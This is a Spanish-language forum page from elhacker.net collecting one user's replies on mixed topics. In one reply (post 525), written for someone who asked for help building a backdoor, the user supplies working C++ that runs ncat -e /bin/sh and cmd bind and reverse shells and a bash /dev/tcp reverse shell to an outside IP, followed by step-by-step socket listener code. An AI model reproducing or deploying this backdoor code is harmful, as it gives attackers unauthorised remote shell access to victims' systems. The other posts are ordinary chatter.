elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Mensajes
Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ... 287
521  Foros Generales / Foro Libre / Re: Hallan cannabis en el altar de un antiguo sitio religioso en Israel en: 3 Junio 2020, 01:39 am
Anda que no pasan cosas en el mundo para que alguien escriba esto. Tiene pinta que las manos del autor de la "noticia" olían a porro que colocaban a Albert Rivera con la distancia de seguridad.
522  Seguridad Informática / Seguridad / Re: Desvio de llamadas en: 2 Junio 2020, 19:30 pm
https://en.m.wikipedia.org/wiki/Call_forwarding

#62# para desactivarlo.
 
523  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 19:18 pm
Ya ves, o eres un anal
Menos mal que llego internet, que tambien es perseguida, cuidado con compartir obras, que ahora tienen la escusa de que tienen derecho de autor para evitar que la gente tambien lea.
Jaja te montas un nodo de salida de tor y se te llena el email de siglas. Eula Aula Loula Sopa Sapo Eulalia... Parece un servicio SMS de subscripción para Adultos.

Es una pena.
524  Foros Generales / Noticias / Re: Una asociación antipiratería casi se carga las descargas de un país entero en: 2 Junio 2020, 16:34 pm
Se van a cargar el sector ellos mismos xD
525  Seguridad Informática / Análisis y Diseño de Malware / Re: Necesito ayuda para una backdoor en: 2 Junio 2020, 14:34 pm
Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.

Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.

Un ejemplo:
Código
  1. #include <string>
  2.  
  3. using namespace std;
  4.  
  5. #define PUERTO static_cast<string>("9090")
  6. #define IP static_cast<string>("127.0.0.1")
  7. #define REVERSE_IP static_cast<string>("93.184.216.34")
  8.  
  9. void BindShell(string);
  10.  
  11. int main() {
  12.  
  13. string comando = "";
  14.  
  15. #ifdef __linux__ /* LINUX */
  16. /* Bind Local Shell */
  17. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  18.  
  19. /* Bind Remote Shell */
  20. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  21.  
  22. /* Bind Remote Shell Bash */
  23. BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
  24.  
  25.  
  26.  
  27. #else /* WINDOWS */
  28. /* Bind Local Shell */
  29. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  30.  
  31. /* Bind Remote Shell */
  32. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  33.  
  34. #endif
  35. return 0;
  36. }
  37.  
  38. void BindShell(string command) {
  39. system(command.c_str());
  40. }

O incluso puedes compilar esto en C con gcc sin libs ni nada:
Código
  1. int main() {
  2. system("ncat 127.0.0.1 9090 -e /bin/sh");
  3. return 0;
  4. }

Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.

Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
Código
  1. int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2.  
  3. if (sockfd == -1) {
  4. std::cout << "Failed to create socket. Errno: " << errno << std::endl;
  5. exit(EXIT_FAILURE);
  6. }

exit y la constante están en <cstdlib> cout y endl en <iostream>

Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
Código
  1. sockaddr_in sockaddr;
  2. sockaddr.sin_family = AF_INET;
  3. sockaddr.sin_addr.s_addr = INADDR_ANY;
  4. sockaddr.sin_port = htons(9090);
  5.  
  6. if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
  7. std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
  8. exit(EXIT_FAILURE);
  9. }

Te pones a la escucha en el socket con listen:
Código
  1. if (listen(sockfd, 10) < 0) {
  2. std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
  3. exit(EXIT_FAILURE);
  4. }

Obtienes una conexión de la cola:
Código
  1. auto addrlen = sizeof(sockaddr);
  2. int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
  3.  
  4. if (connection < 0) {
  5. std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
  6. exit(EXIT_FAILURE);
  7. }

Tras obtener la conexion lees los bytes de la misma:
Código
  1. char buffer[8192];
  2. auto bytesRead = read(connection, buffer, 8192);
  3. std::cout << "The message was: " << buffer;

Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.

Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>
526  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 00:08 am
Informática:

The Principles of object-oriented javascript. Nicholas C. Zakas.

Eloquent javascript. Marjin Haverbeke.

Vue.js 2 Cookbook. Andrea Passaglia.

Google Hacking for penetration testers. Jonhy Long, Bill Gardner, Justing Brown.

Android Hacker's Handbook. Joshua J. Drake, Pau Oliva Fora...

Wireshark Network Analysis. Laura Chappell.

The Radare2 book. pancake.



Otros:

Speed Reading. Tony Buzan.

Muay Thai Unleashed. Erich Krauss and Glen Cordoza.

Mi Lucha. Adolf Hitler. Jusego-Chile
527  Programación / Desarrollo Web / Re: Añadir pago a pagina web en: 31 Mayo 2020, 12:02 pm
https://www.paypal.com/us/webapps/mpp/standard-integration
528  Programación / Programación General / Re: Dinosaurio de google automatico en: 31 Mayo 2020, 11:22 am
Pasas el código?

Igual algún día lo hago con Android grabando la pantalla y mandando las teclas por wi-fi. Tiene que estar graciosa la setup pero lo de procesar video tiene curro.
529  Programación / Desarrollo Web / Re: Consulta funcion javascript - ¿ Hace un F5? en: 31 Mayo 2020, 00:00 am
Pasa más código, aquí no enseñas nada.

Chequea si tienes un <meta http-equiv... un algo.submit o algo así. Hay tantas formas... Mejor que pases el código.
530  Programación / Programación C/C++ / Re: Error con "fstream" ingresando strings de palabras con tildes en: 30 Mayo 2020, 22:02 pm
Código
  1. unsigned uint8_t utf8BOM[] = {0xEF,0xBB,0xBF};
  2. fileStream.write(utf8BOM,sizeof(utf8BOM));

Añádele la codificación al archivo.
Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ... 287
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines